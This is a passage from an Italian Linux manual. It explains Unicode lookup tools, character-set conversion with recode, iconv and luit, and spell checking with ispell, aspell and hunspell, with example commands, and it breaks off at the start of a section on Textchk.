UTF-8: c3 a0   UTF-16BE: 00e0   Decimal: &#224;
à (À)
Uppercase: U+00C0
Category: Ll (Letter, Lowercase)
Bidi: L (Left-to-Right)
Decomposition: 0061 0300
```

$ **unicode U+0416** [*Invio*]

Richiede informazioni sul punto di codifica U+0416:

```
U+0416 CYRILLIC CAPITAL LETTER ZHE
UTF-8: d0 96   UTF-16BE: 0416   Decimal: &#1046;
Ж (ж)
Lowercase: U+0436
Category: Lu (Letter, Uppercase)
Bidi: L (Left-to-Right)
```

$ **unicode 0416** [*Invio*]

Esattamente come nell'esempio precedente.

```
$ unicode U+0005..U+0010 [Invio]
```

Richiede di visualizzare il blocco di codici che comprende i punti di codifica da U+0005 a U+0010; in pratica, visualizza i punti di codifica da U+0000 a U+00FF:

```
      .0 .1 .2 .3 .4 .5 .6 .7 .8 .9 .A .B .C .D .E .F
000.
001.
002.     !  "  #  $  %  &  '  (  )  *  +  ,  -  .  /
003.  0  1  2  3  4  5  6  7  8  9  :  ;  <  =  >  ?
004.  @  A  B  C  D  E  F  G  H  I  J  K  L  M  N  O
005.  P  Q  R  S  T  U  V  W  X  Y  Z  [  \  ]  ^  _
006.  `  a  b  c  d  e  f  g  h  i  j  k  l  m  n  o
007.  p  q  r  s  t  u  v  w  x  y  z  {  |  }  ~
008.
009.
00A.     ¡  ¢  £  ¤  ¥  ¦  §  ¨  ©  ª  «  ¬     ®  ¯
00B.  °  ±  ²  ³  ´  µ  ¶  ·  ¸  ¹  º  »  ¼  ½  ¾  ¿
00C.  À  Á  Â  Ã  Ä  Å  Æ  Ç  È  É  Ê  Ë  Ì  Í  Î  Ï
00D.  Ð  Ñ  Ò  Ó  Ô  Õ  Ö  ×  Ø  Ù  Ú  Û  Ü  Ý  Þ  ß
00E.  à  á  â  ã  ä  å  æ  ç  è  é  ê  ë  ì  í  î  ï
00F.  ð  ñ  ò  ó  ô  õ  ö  ÷  ø  ù  ú  û  ü  ý  þ  ÿ
```

58.10 Gucharmap

Attraverso il sistema grafico X è possibile utilizzare Gucharmap,[6] con il quale si ottengono informazioni sui codici dei caratteri, secondo la codifica universale, in modo pratico.

```
gucharmap
```

Il programma '**gucharmap**' si avvia senza opzioni particolari e si interagisce con lui, attraverso un'interfaccia grafica.

Figura 58.25. Gucharmap con la selezione del punto di codifica U+0D24.

Figura 58.26. Gucharmap con le informazioni dettagliate del punto di codifica U+0D24.

Una volta selezionato il gruppo di codici di proprio interesse, è facile copiare i caratteri desiderati trascinandoli nella riga di testo che appare nella parte inferiore della finestra, come si

vede nella figura 58.27. Da lì è poi possibile copiarli nell'applicazione di proprio interesse, utilizzando i metodi consueti per le operazioni di «taglia-copia-incolla».

Figura 58.27. Copia di alcuni caratteri nella riga inferiore.

I caratteri della codifica universale possono essere classificati in base alla scrittura (*script*), oppure in base ai blocchi utilizzati nella codifica stessa. La figura 58.28 mostra una porzione del blocco cirillico (da U+0400 a U+04FF).

Figura 58.28. Classificazione dei codici secondo i blocchi della codifica universale.

58.11 Recode

Recode[7] è un programma per la conversione di file da un insieme di caratteri a un altro. Recode non si limita semplicemente a questo; spesso è in grado di intervenire su codifiche composte da sequenze di caratteri, anche se in queste situazioni il suo utilizzo si complica e i risultati non sono sempre garantiti.

```
recode [opzioni] codifica_prima..codifica_dopo [file...]
```

Osservando lo schema sintattico mostrato, si può vedere che è necessario indicare il tipo di conversione attraverso due parole chiave: la prima serve a stabilire il modo in cui sono codificati i dati in ingresso, la seconda stabilisce in che modo li si vuole trasformare in uscita.

Uno o più file in ingresso possono essere indicati alla fine della riga di comando, facendo sì che Recode tenti di sovrascriverli; in alternativa, un file in ingresso può essere fornito attraverso lo standard input, ottenendo il risultato della conversione dallo standard output.

Bisogna essere prudenti con Recode quando si indicano i file nella riga di comando, perché la conversione potrebbe essere irreversibile.

Nel suo piccolo, Recode è un programma complesso. Questa sezione mostra solo alcuni aspetti banali, mentre per sfruttare bene tutte le sue potenzialità è necessario leggere la documentazione originale: *info recode*.

Tabella 58.29. Alcune opzioni.

Opzione	Descrizione
`-l` [*codifica*] `--list`[=*codifica*]	Questa opzione, usata senza argomento, mostra l'elenco delle codifiche gestite; con l'aggiunta del nome di una codifica, si ottiene invece una tabella della codifica stessa.
`-g` `--graphics`	Questa opzione riguarda la conversione dall'insieme di caratteri '**IBM-PC**', a un altro tipo, dove si vuole tentare di trasformare in qualche modo i simboli grafici tipici di quella codifica. È evidente che questa conversione è irreversibile.

Le codifiche da utilizzare nelle conversioni sono indicate attraverso la notazione ***codifica_prima*..*codifica_dopo***, come si vede nello schema sintattico introduttivo. Le parole chiave utilizzate per questo possono essere indicate indifferentemente utilizzando le lettere minuscole o maiuscole. L'elenco delle codifiche (e quindi delle trasformazioni possibili) è molto lungo e potrebbe essere ottenuto un riepilogo attraverso l'opzione '**-l**' da sola. Tuttavia, sarebbe meglio leggere prima ciò che è stato annotato nel documento *info recode* al riguardo, per non rischiare di trovarsi poi nei pasticci.

Tabella 58.30. Alcune parole chiave che si possono usare per individuare le codifiche.

Codifica	Descrizione

`IBM437`
`437`
`cp437`
	Rappresenta la codifica IBM usata normalmente nel Dos. Quando si converte da questa codifica a un'altra, i codici di interruzione di riga vengono lasciati inalterati.

`IBM-PC` `ibmpc`	È praticamente la stessa codifica IBM437, con la differenza che quando si converte da questa codifica a un'altra, i codici di interruzione di riga vengono trasformati.

`IBM850`
`850`
`cp850`
	Rappresenta la codifica IBM usata normalmente nel Dos per la localizzazione europea.

`ISO_8859-1:1987`
`ISO_8859-1`
`ISO-8859-1`
`CP819`
`IBM819`
`iso-ir-100`
`l1`
`latin1`
	Si riferisce alla codifica ISO 8859-1.

`UTF-8` `UTF8`	Si riferisce alla codifica UTF-8.

Segue la descrizione di alcuni esempi.

$ **recode -a IBM437** [*Invio*]

Mostra tutte le possibilità di abbinamento con la codifica IBM437.

$ **recode -a IBM-PC** [*Invio*]

Mostra tutte le possibilità di abbinamento con la codifica IBM-PC.

$ **recode IBM-PC..ISO_8859-1 lettera** [*Invio*]

Converte il file '`lettera`' dalla codifica IBM-PC, con codice di interruzione di riga pari a <*CR*><*LF*> a ISO 8859-1, con codice di interruzione di riga pari a <*LF*> soltanto, sovrascrivendo il file.

$ **recode IBM-PC..ISO_8859-1 < lettera > lettera2** [*Invio*]

Converte il file 'lettera' dalla codifica ISO 8859-1, con codice di interruzione di riga pari a <*LF*>, a IBM-PC, con codice di interruzione di riga pari a <*CR*><*LF*>, generando il file 'lettera2'.

```
$ recode -g IBM-PC..ISO_8859-1 < schema1 > schema2 [Invio]
```

Converte il file 'schema1' dalla codifica IBM-PC a ISO 8859-1, generando il file 'schema2', tentando di convertire anche i simboli grafici. Anche in questo caso ha luogo la conversione del codice di interruzione di riga.

58.12 Iconv

Iconv[8] è un programma previsto dallo standard dei sistemi Unix e serve a convertire un file da un insieme di caratteri a un altro. Lo schema sintattico seguente mostra l'utilizzo normale del programma:

```
iconv -f da_codifica -t a_codifica [altre_opzioni] [file...]
```

La codifica viene indicata attraverso una parola chiave e l'elenco completo degli insiemi di caratteri conosciuti si ottiene con l'opzione '**-l**', usata da sola:

```
iconv -l
```

Il file da convertire viene indicato normalmente alla fine della riga di comando, ma in sua mancanza viene usato lo standard input; generalmente il risultato della conversione viene emesso attraverso lo standard output, a meno che sia usata espressamente l'opzione '**-o**', con la quale si indica il nome di un file da creare per questo scopo.

Tabella 58.31. Alcune opzioni.

Opzione	Descrizione
-f *codifica_di_partenza* --from-code *codifica_di_partenza*	Specifica la codifica di origine.
-t *codifica_di_destinazione* --to-code *codifica_di_destinazione*	Specifica la codifica del file da generare.
-l --list	Elenca le parole chiave riconosciute che individuano le varie codifiche gestibili dal programma. Si usa questa opzione da sola.
-o *file_da_generare* --output *file_da_generare*	Richiede di fornire il risultato nel file specificato, senza usare per questo lo standard output.

Le parole chiave utilizzate per individuare la codifica possono essere indicate indifferentemente utilizzando le lettere minuscole o maiuscole. Si deve osservare che non tutte le tra-

sformazioni sono possibili; pertanto, di fronte a richieste impossibili, il programma si rifiuta di procedere, così come si rifiuta di farlo se il file in ingresso non è conforme alla codifica dichiarata per questo.

Tabella 58.32. Alcune parole chiave che si possono usare per individuare le codifiche.

Codifica	Descrizione

`IBM437`
`437`
`CP437`
	Rappresenta la codifica IBM usata normalmente nel Dos.

`IBM850`
`850`
`CP850`
	Rappresenta la codifica IBM usata normalmente nel Dos per la localizzazione europea.

`LATIN1`
`8859_1`
`ISO-8859-1`
`ISO_8859-1`
`ISO_8859-1:1987`
`ISO8859-1`
`ISO88591`
	Si riferisce alla codifica ISO 8859-1.

`UTF-8` `UTF8`	Si riferisce alla codifica UTF-8.

Segue la descrizione di alcuni esempi.

`$` **`iconv --list`** [*Invio*]

Mostra i nomi di tutte le codifiche gestibili.

`$` **`iconv -f LATIN1 -t UTF-8 lettera > lettera2`** [*Invio*]

Converte il file '`lettera`', scritto con la codifica ISO 8859-1, a UTF-8, generando il file '`lettera2`'.

`$` **`cat lettera | iconv -f LATIN1 -t UTF-8 > lettera2`** [*Invio*]

Esattamente come nell'esempio precedente, con la differenza che il file '`lettera`' viene fornito attraverso lo standard input.

`$` **`iconv -f BIG5 -t UTF-8 lettera > lettera2`** [*Invio*]

Converte il file ‘lettera’, scritto con la codifica BIG5 (usata per la lingua cinese), a UTF-8, generando il file ‘lettera2’.

58.13 Utilizzo di «luit»

Il programma ‘**luit**’, il quale fa parte di X (capitolo 31), è un filtro che si utilizza per avviare un altro programma, quando il proprio terminale a caratteri è configurato in modo da gestire la codifica UTF-8 (sia per la tastiera, sia per lo schermo) e il programma in questione utilizza una codifica differente:

```
luit [opzioni] [--] [programma [argomenti]]
```

Come si può intuire dal modello sintattico, in mancanza dell'indicazione di un programma da avviare, ‘**luit**’ avvia una shell. Al posto di descrivere le opzioni di questo programma, vengono mostrati alcuni esempi, a cominciare da quello più semplice, in cui il controllo della conversione avviene semplicemente attraverso la configurazione della variabile ***LC_ALL***:

$ **LC_ALL=en_US.ISO-8859-1 luit** ***mio_programma*** [*Invio*]

In questo caso si avvia il programma ***mio_programma*** specificando per lui la variabile di ambiente ***LC_ALL*** con il valore che si può vedere. Il programma ‘**luit**’ fa in modo che i dati provenienti dalla tastiera siano convertiti da UTF-8 a ISO 8859-1, facendo l'opposto per i dati diretti dal programma allo schermo. Si osservi, comunque, che la configurazione locale del tipo ‘**en_US.ISO-8859-1**’ deve essere disponibile nel sistema.

$ **LC_ALL=en_US luit -encoding "ISO 8859-1"** ***mio_programma*** [*Invio*]

In questo caso, si rende esplicita la codifica con cui deve funzionare il programma ‘**mio_programma**’, attraverso l'opzione ‘**-encoding**’, secondo la notazione prevista da ‘**luit**’. Per la precisione, si può ottenere l'elenco di tutte le codifiche previste, secondo la notazione di ‘**luit**’, con l'opzione ‘**-list**’:

$ **luit -list** [*Invio*]

Si osservi che quando ci si collega a un elaboratore remoto, nel quale non è prevista una configurazione locale con una codifica UTF-8, è necessario usare ‘**luit**’ come già mostrato, per esempio così:

$ **LC_ALL=en_US luit -encoding "ISO 8859-1" ssh** ***nodo*** [*Invio*]

Nell'esempio si può riconoscere l'uso del programma ‘**ssh**’, ovvero di Secure Shell.

Si osservi che negli esempi è stata usata la variabile di ambiente ***LC_ALL***, perché questa prevale su tutte le variabili ***LC_**** e anche su ***LANG***.

[1] Trattando di oggetti grafici astratti, sembra più opportuno parlare di «simboli», piuttosto che di segni; in quanto è la composizione a trasformarli in segni.

[2] Nel linguaggio C, si distingue tra un tipo «carattere» tradizionale, corrispondente al byte, e un tipo ***carattere esteso***, ovvero *wide char*. Di conseguenza ci sono sia stringhe tradizionali, sia ***stringhe estese***, ovvero *wide string*.

[3] In generale, per maggiore chiarezza, i punti di codifica dell'Unicode e di ISO 10646 si indicano nella forma '**U+*nnnn***', oppure '**U-*nnnnnnnn***', dove ***n*** è una cifra esadecimale; ma come è già stato mostrato, qui si usa la notazione '**#x*n***' dell'XML.

[4] **Ascii** GNU GPL

[5] **Unicode** GNU GPL

[6] **Gucharmap** GNU GPL

[7] **Recode** GNU GPL

[8] **Iconv** GNU GPL

Capitolo 59

Controllo dell'ortografia e dello stile

59.1 Analisi lessicale 3177

59.1.1 Ispell 3178
59.1.2 Aspell 3184
59.1.3 Myspell e Hunspell 3185

59.2 Analisi sintattica e stilistica con Textchk 3185

59.2.1 Principio di funzionamento 3186
59.2.2 Configurazione 3187
59.2.3 Come si usa 3190
59.2.4 Come si installa 3192

59.3 Dizionari 3193

59.3.1 Dictd o Serpento 3193
59.3.2 Interrogazione manuale di un servizio DICT 3194
59.3.3 Il programma Dict per l'interrogazione del servizio 3197

59.4 Riferimenti 3201

`.dictrc` 3197 `aspell` 3184 `buildhash` 3182 `dict` 3197 `dict.conf` 3197 `dictd` 3193 `hunspell` 3185 `ispell` 3178 `munchlist` 3182

59.1 Analisi lessicale

Gli errori che si possono fare scrivendo un testo sono di vario tipo, ma quelli puramente lessicali, ovvero ciò che potrebbe essere classificato come errore di battitura, rappresentano i meno importanti. Tuttavia, si tratta pur sempre di una buona percentuale nell'insieme globale di errori che può contenere un testo.

Un programma banale che sia in grado di mostrare le parole che risultano semplicemente sconosciute, è già un buon aiuto verso l'obiettivo dello scrivere in modo corretto.

Un programma di analisi lessicale è utile quando si può gestire un dizionario personale, perché non si possono escludere le eccezioni da un testo, come per esempio il nome o il cognome di una persona, un indirizzo o una sigla particolare. In presenza di documenti di grandi dimensioni, diventa necessario gestire un dizionario specifico per ognuno di questi, in modo da non interferire con l'analisi di altri in cui certi termini, ammissibili da una parte, non possono esistere dall'altra.

59.1.1 Ispell

Ispell[1] è un programma di scansione lessicale che permette la realizzazione di dizionari contenenti anche indicazioni sulle possibili aggregazioni di parole (si pensi alla lingua tedesca in cui le parole sono generate spesso dall'unione di altre).

Lo studio di questa caratteristica di Ispell riguarda chi vuole realizzare un dizionario standard per un linguaggio particolare: generico o specifico di un certo settore. Qui si intende mostrare un uso semplificato di questo programma, in cui si utilizzano dizionari standard e si generano i propri dizionari personali specifici per ciò che si fa.

59.1.1.1 Dizionari

Generalmente, il pacchetto di distribuzione di Ispell contiene un dizionario predefinito (di solito per la lingua inglese). Dovrebbe trattarsi del file '`/usr/lib/ispell/default.hash`' (che comunque di solito è un collegamento simbolico a un altro file). Nella stessa directory vanno collocati altri file per altre lingue, o per linguaggi specifici. Questi file, terminanti con l'estensione '`.hash`', sono ottenuti a partire da una coppia di file di testo, attraverso la compilazione con '**`buildhash`**', ogni volta che si cambia piattaforma.

Il dizionario italiano, in forma sorgente, si compone di due file sorgenti: '`italian.aff`' e '`italian.words`'. Il primo dei due contiene la tabella *affix*, la quale in pratica rappresenta una serie di regole sull'insieme dei caratteri ammissibili e sulla possibile unione di parti di parole, mentre il secondo è l'elenco di parole vero e proprio. Queste parole elencate, contengono a volte dei riferimenti aggiuntivi indicati dopo una barra obliqua ('**`/`**') che hanno valore in base alle definizioni della tabella *affix*. L'approfondimento sulla sintassi del file *affix* è utile solo se si vuole realizzare un dizionario hash specifico, mentre l'utilizzatore normale può ignorare questo problema. La compilazione dei file sorgenti in modo da ottenere un dizionario hash si ottiene con il comando seguente:

`$` **`buildhash italian.words italian.aff italian.hash`** [*Invio*]

Si ottiene il file '`italian.hash`', da collocare nella directory '`/usr/lib/ispell/`'. Se si intende utilizzare sistematicamente questo dizionario, si può predisporre la variabile di ambiente ***DICTIONARY***, assegnandovi il nome del file: '`italian.hash`'. In alternativa, si può usare '**`ispell`**' con l'opzione '**`-d`**', come nell'esempio seguente (l'estensione '`.hash`' è predefinita e può essere omessa).

`$` **`ispell -d italian documento.txt`** [*Invio*]

I dizionari personali sono invece una cosa diversa: si tratta di un elenco di termini, scritto con le stesse modalità di un sorgente, senza un file *affix* a fianco (o meglio, utilizzando quello del dizionario hash a cui si fa riferimento). Normalmente, tali file personali sono aggiornati da Ispell, quando questo viene usato in modo interattivo. Il nome predefinito del dizionario personale è '`~/.ispell_`***linguaggio***'. Per esempio, se si utilizza il dizionario standard predefinito, viene generato e utilizzato il file '`~/.ispell_default`' (nella directory personale), a meno di specificare un nome diverso con le opzioni.

Si osservi che in aggiunta ai file personali ci possono essere dei file più specifici, legati alla directory corrente: '`./.ispell_`***linguaggio***'.

59.1.1.2 Avvio e opzioni fondamentali

Il modello seguente rappresenta una semplificazione estrema della sintassi dell'eseguibile '**ispell**', però, prima di apprendere il funzionamento delle particolarità di questo programma, è meglio comprendere le sue possibilità fondamentali:

ispell [*opzioni*] *file_da_analizzare*

Ispell può funzionare in modo interattivo, oppure no. In teoria, è possibile anche realizzare un programma che sfrutti le funzionalità di Ispell attraverso un condotto; in pratica, si tratta in questo caso dell'utilizzo meno importante che si può fare di Ispell.

Opzione	Descrizione
-d *dizionario_hash*	Permette di specificare un file dizionario differente da quello predefinito (che di solito è 'english.hash'). Il nome del file viene indicato generalmente senza estensione e senza percorso, facendo implicitamente riferimento alla directory '/usr/lib/ispell/' e a file con estensione '.hash'.
-p *dizionario_personale*	Permette di specificare un dizionario personale differente da quello predefinito (che di solito è '~/.ispell_...').
-W *n_caratteri*	Specifica la lunghezza delle parole che non devono essere prese in considerazione. In pratica, da quel numero di caratteri in giù, si considerano tutte valide.
-x	Evita la creazione di una copia di sicurezza. Senza indicare questa opzione, dovrebbe essere salvata una copia del file originale aggiungendo al suo nome l'estensione '.bak'.
-b	Si tratta dell'opzione opposta a '**-x**', in quanto permette di forzare la richiesta di creazione di una copia di sicurezza.
-t	Fa in modo che il testo da analizzare sia considerato un sorgente TeX, o LaTeX, per il quale si devono ignorare i codici di composizione e possibilmente anche alcune indicazioni che sono solo funzionali a TeX, dal momento che non riguardano il contenuto del testo. Questa dovrebbe essere la modalità predefinita di funzionamento. In generale, questa modalità va bene anche per il testo puro e semplice, purché non ci siano barre oblique inverse che possano essere confuse con comandi di TeX.
-n	Fa in modo che il testo da analizzare sia considerato un sorgente Nroff o Troff, per il quale si devono ignorare i codici di composizione. La possibilità di distinguere i codici di composizione di TeX, *roff, o altro, dipende anche dal file *affix* del dizionario utilizzato.

59.1.1.3 Funzionamento interattivo

Il funzionamento normale di Ispell è interattivo. Generalmente viene fatta una copia di sicurezza del file analizzato, con un nome che termina con l'aggiunta dell'estensione '.bak', quindi Ispell permette di modificare il contenuto del file originale, in base alle scelte dell'utente.

Figura 59.2. Funzionamento interattivo di Ispell.

```
    stai              File: lettera


Ciao come stai?

00: stab     09: st-AI
01: stag
02: staid
03: stain
04: stair
05: Stan
06: star
07: stay
08: st AI

[SP] <number> R)epl A)ccept I)nsert L)ookup U)ncap Q)uit e(X)it or ? for help
```

La figura 59.2 mostra il caso di un file, denominato '`lettera`', contenente una frase normalissima, in cui la parola «stai» non viene riconosciuta. In effetti, si suppone di avere utilizzato il dizionario hash predefinito, ovvero quello inglese.

La parola '**`stai`**' viene evidenziata se le caratteristiche del terminale lo consentono; in ogni caso, viene indicata a parte, all'inizio (come si vede dall'esempio). Se possibile, Ispell elenca una serie di alternative possibili, in base alle affinità che può avere il termine sconosciuto con altre parole contenute nel dizionario. Questo elenco è numerato, in modo da permetterne la selezione. Nella parte bassa dello schermo appare un menù riepilogativo degli altri comandi a disposizione; comandi che si richiamano prevalentemente con la semplice pressione di tasti o combinazioni di tasti mnemonici.

Comando	Descrizione
[*Spazio*]	Fa in modo che Ispell accetti la parola temporaneamente. Se successivamente Ispell ne trova ancora, queste vengono segnalate di nuovo.
[*R*] [*r*]	Richiede la sostituzione della parola errata con un'altra che deve essere inserita subito dopo. Se anche la nuova parola non sembra valida, questa viene segnalata ugualmente da Ispell. La sostituzione riguarda solo quell'occorrenza particolare; se viene ritrovato ancora lo stesso errore, Ispell continua a segnalarlo.
[*A*] [*a*]	Fa sì che Ispell ignori la parola per tutto il resto del documento.
[*I*] [*i*]	Fa sì che Ispell accetti la parola e la inserisca nel dizionario personale, esattamente com'è, rispettando maiuscole e minuscole.
[*U*] [*u*]	Fa sì che Ispell accetti la parola e la inserisca nel dizionario personale, senza distinguere tra maiuscole e minuscole.

Comando	Descrizione
[*0*] [*1*] ... [*0*][*0*] [*0*][*1*] ...	La selezione di un numero fa riferimento alle voci proposte come parole alternative a quella errata. Con questa selezione di intende ottenere la sostituzione delle parole. È importante osservare che, se l'elenco supera le nove unità, la selezione avviene con due cifre numeriche. L'esempio che appare nella figura mostra questo caso: per indicare la parola '**stag**', occorre la sequenza [*0*][*1*].
[*X*] [*x*]	Conclude il lavoro completando la scrittura del file e ignorando altri errori eventuali. Chiude anche il file del dizionario personale, mantenendo le voci aggiunte fino a quel punto.
[*Q*] [*q*]	Termina immediatamente, lasciando inalterato il file, senza conservare i termini eventualmente annotati per l'aggiunta nel dizionario personale.
[*Ctrl l*] [*Ctrl L*]	Ripulisce lo schermo.

Per quanto riguarda il funzionamento interattivo di Ispell, sono importanti due opzioni.

Opzione	Descrizione
`-M`	Richiede espressamente la visualizzazione del menù riassuntivo dei comandi interattivi. Di solito, tale menù appare in modo predefinito, a meno di avere compilato Ispell con opzioni particolari.
`-N`	Fa in modo che il menù riepilogativo dei comandi non venga visualizzato.

Segue la descrizione di alcuni comandi.

- `$` **`ispell -d italian lettera`** [*Invio*]

  Analizza il file '`lettera`' utilizzando il dizionario hash '**`italian`**', ovvero, il file '`/usr/lib/ispell/italian.hash`', e il dizionario personale predefinito: '`~/.ispell_italian`'.

- `$` **`ispell -d italian -p mio lettera`** [*Invio*]

  Come nell'esempio precedente, ma in questo caso si utilizza il dizionario personale rappresentato dal file '`./mio`'.

59.1.1.4 Funzionamento non interattivo

Quando Ispell funziona in modo non interattivo, si limita a generare un elenco di termini, anche ripetuti, che risultano sconosciuti in base al dizionario. Ispell può anche essere utilizzato attraverso un altro programma, quando si indica l'opzione '**`-a`**', ma si tratta di un modo un po' complicato che qui non viene descritto.

Per ottenere l'elenco dei termini sconosciuti, si utilizza l'opzione '**`-l`**'. Per esempio, questa possibilità di Ispell può essere sfruttata per produrre rapidamente un dizionario personale.

Se si dispone di un testo della cui esattezza si è certi, si può ottenere da Ispell l'elenco dei termini da lui sconosciuti, generando poi un dizionario personale con tutte queste eccezioni. Si procede nel modo seguente:

$ **ispell -d italian -l < romanzo > mio_dizionario** [*Invio*]

In questo modo, tutti i termini contenuti nel file '`./romanzo`' che non risultano dal dizionario hash '**italian**', vengono emessi attraverso lo standard output e diretti nel file '`./mio_dizionario`'.

$ **sort -f < mio_dizionario > dizionario1** [*Invio*]

In questo modo si riordina l'elenco di parole ottenuto, generando il file '`./dizionario1`', dove l'opzione '**-f**' serve a non distinguere tra lettere minuscole e maiuscole, anche se restano i doppioni. Con questo elenco si vuole generare un dizionario personale, eliminando questi doppioni ed eventualmente generando altre semplificazioni.

$ **munchlist -s italian -l italian.aff dizionario1 > dizionario2** [*Invio*]

In questo modo, si ottiene il compattamento del file '`./dizionario1`', in base a quanto già contenuto del dizionario hash '**italian**' e secondo le regole del file *affix* '`./italian.aff`', generando il file '`./dizionario2`', che finalmente può essere utilizzato come dizionario personale.

In alternativa, si può anche tentare di dare in pasto a Ispell il file ottenuto dopo l'ordinamento, senza filtrarlo attraverso '**munchlist**'; lasciando che sia Ispell stesso a eliminare i doppioni.

59.1.1.5 Programmi di servizio di contorno a Ispell

Ispell si compone di diversi file binari. Il più importante è '**ispell**', come si è visto, ma altri sono necessari per la gestione dei file di dizionario. Si è già accennato a '**buildhash**' e a '**munchlist**', il cui utilizzo è il caso di riepilogare.

buildhash ***dizionario_sorgente file_affix dizionario_hash***

munchlist [-l ***file_affix***] [-s ***dizionario_hash***] [***elenco_da_ridurre***] > ***elenco_ridotto***

Quelle mostrate sono le sintassi semplificate di questi due programmi. Di più può essere appreso dalla lettura di *ispell(1)*. Segue la descrizione di alcuni esempi.

- $ **munchlist mio_dizionario > dizionario** [*Invio*]

  Utilizza il dizionario hash e il file *affix* standard per ridurre l'elenco contenuto nel file '`./mio_dizionario`', generando il file '`./dizionario`'.

- $ **munchlist -s italian -l ./italian.aff mio_dizionario ↩**
  ↪> dizionario [*Invio*]

  Utilizza il dizionario hash '**italian**' ('`/usr/lib/ispell/italian.hash`') e il file *affix* '`./italian.aff`' per ridurre l'elenco contenuto nel file '`./mio_dizionario`', generando il file '`./dizionario`'.

- $ **buildhash italian.words italian.aff italian.hash** [*Invio*]

  Genera il dizionario hash '`./italian.hash`', a partire dall'elenco '`./italian.words`' e dal file *affix* '`./italian.aff`'.

59.1.1.6 Gestione dei dizionari personali

L'utilizzo occasionale di Ispell richiede la presenza di un dizionario hash e probabilmente di uno personale predefinito, che quasi sicuramente è '~/.ispell_italian'. Ma la correzione ortografica basata esclusivamente su un dizionario è tanto più efficace quanto minore è il numero delle parole previste, ovvero, quanto più specifico è il dizionario utilizzato.

Di fronte alla realizzazione di un documento di un certo impegno, o di una serie di documenti che trattano dello stesso genere di cose, potrebbe essere conveniente utilizzare un dizionario personale specifico per quel progetto, eventualmente partendo da un dizionario hash praticamente vuoto.[2]

Per realizzare un dizionario «vuoto», adatto a qualunque linguaggio che utilizzi la codifica ISO 8859-1, si potrebbe partire dal file *affix* che contiene solo le righe seguenti, il cui unico scopo è quello di ammettere l'uso di tutte le lettere accentate e speciali.[3]

```
# minimo.aff
# Accetta qualunque carattere accentato e speciale di ISO 8859-1

wordchars       [a-z]   [A-Z]
wordchars       [à-\376]        [À-\336]
wordchars       [\337]
wordchars       [\377]

prefixes

suffixes
```

Le parole chiave '**prefixes**' e '**suffixes**' sono obbligatorie, ma il file è ancora incompleto (viene segnalato dai programmi come '**buildhash**' e '**munchlist**'), anche se funziona ugualmente per lo scopo che ci si prefigge qui.

Volendo esagerare, se le cifre numeriche possono avere un ruolo nella composizione delle parole che si vogliono controllare, si può aggiungere anche la riga seguente, tenendo conto che però poi '**munchlist**' non funziona tanto bene.[4]

```
wordchars       [0-9]
```

A fianco di questo si deve creare un elenco di parole che ne contenga almeno una, come nell'esempio seguente:

```
Linux
```

Si suppone che il file *affix* sia stato nominato 'minimo.aff' e che l'elenco sia 'minimo.sml'. Per creare il file hash, si procede come è già stato presentato più volte.

$ **buildhash minimo.sml minimo.aff minimo.hash** [*Invio*]

Pur con una segnalazione di errore, dovuta all'estrema semplicità del file *affix*, si ottiene il file 'minimo.hash' nella directory corrente. Questo file hash può essere usato solo per testi normali, senza codici di composizione di alcun tipo, dal momento che il file *affix* mostrato non è stato predisposto per questo.

Se si dispone di un documento ritenuto sicuro, si può generare il dizionario personale relativo.

$ **ispell -d ./minimo.hash -l < documento.txt > elenco** [*Invio*]

In questo modo si ottiene l'elenco delle parole usate nel file '`documento.txt`', le quali sono praticamente tutte sconosciute. Questo elenco deve essere riordinato e ridotto.

$ **sort -f < elenco > elenco1** [*Invio*]

$ **munchlist -l minimo.aff -s minimo.hash elenco1 > dizionario** [*Invio*]

Dopo la riduzione si ottiene finalmente il dizionario personale specifico del documento; successivamente si possono eseguire le verifiche sullo stesso documento di origine (a seguito di aggiunte o di modifiche), con il comando seguente:

$ **ispell -d ./minimo.hash -p ./dizionario documento.txt** [*Invio*]

59.1.2 Aspell

Aspell[5] è un programma funzionalmente simile a Ispell, che gestisce dei dizionari propri ed è in grado di utilizzare quelli appropriati alla configurazione locale:

aspell [*opzioni*] ***comando***

I dizionari di Aspell dovrebbero trovarsi nella directory '`/usr/lib/aspell/`', assieme a dei file che gli consentono di riconoscere le codifiche più comuni dei caratteri. Vengono mostrati solo alcuni esempi di funzionamento del programma, senza descrivere le opzioni; per questo si può consultare la pagina di manuale *aspell(1)*, oppure la documentazione Info: *info aspell*.

- $ **aspell -c lettera** [*Invio*]

  Esamina il file '`lettera`', utilizzando il dizionario predefinito per la configurazione locale esistente. Se il programma incontra parole sconosciute, consente di intervenire in modo interattivo, come nella schermata seguente:

```
Ciao Antonio,
come stai?
È moltoa che non ci si sente; cosa fai di bello?
Daniele

--------------------------------------------------------------------
1) molta                              2) molto



i) Ignora                             I) Ignora tutti
r) Rimpiazza                          R) Rimpiazza tutti
a) Aggiungi                           l) Aggiungi minuscolo
b) Abbandona                          x) Esci
--------------------------------------------------------------------
?
```

Come si vede, in questo caso la configurazione è quella italiana, dato che anche il menù appare tradotto. Il testo da verificare appare con qualche riga in più rispetto a Ispell, facilitando così il lavoro di correzione.

- `$ aspell --lang=it -c lettera` [*Invio*]

  Esamina il file '`lettera`', utilizzando espressamente il dizionario italiano.

- `$ aspell --encoding=utf-8 --lang=it -c lettera` [*Invio*]

  Esamina il file '`lettera`', utilizzando espressamente il dizionario italiano e la codifica UTF-8.

59.1.3 Myspell e Hunspell

Myspell è un componente di OpenOffice.org 1.* e di altri programmi, per la gestione dei dizionari ortografici. Hunspell[6] è un componente simile, nato per OpenOffice.org 2.*, con la capacità di gestire meglio il riconoscimento delle parole composte.

In generale, comunque, si tratta sempre di lavori derivati o comunque ispirati al funzionamento di Ispell. In particolare, i dizionari realizzati per Myspell, sono utilizzabili anche da Hunspell.

Generalmente è possibile usare Hunspell anche attraverso un programma frontale simile a Ispell. Supponendo che i dizionari Myspell siano installati a partire da '`/usr/share/myspell/dicts/`', si potrebbe usare Hunspell come si vede nell'esempio seguente:

`$ hunspell -d /usr/share/myspell/dicts/it-IT lettera` [*Invio*]

Così facendo, il programma utilizza il dizionario composto dai file '`/usr/share/myspell/dicts/it-IT.aff`' e '`/usr/share/myspell/dicts/it-IT.dic`', per esaminare il file '`lettera`'.

59.2 Analisi sintattica e stilistica con Textchk

L'analisi sintattica di un testo è un problema ben più complicato della semplice verifica delle parole con un dizionario. Esistono però alcuni tipi di errori sintattici, o stilistici, che si possono identificare con l'aiuto di espressioni regolari (*regular expression*).

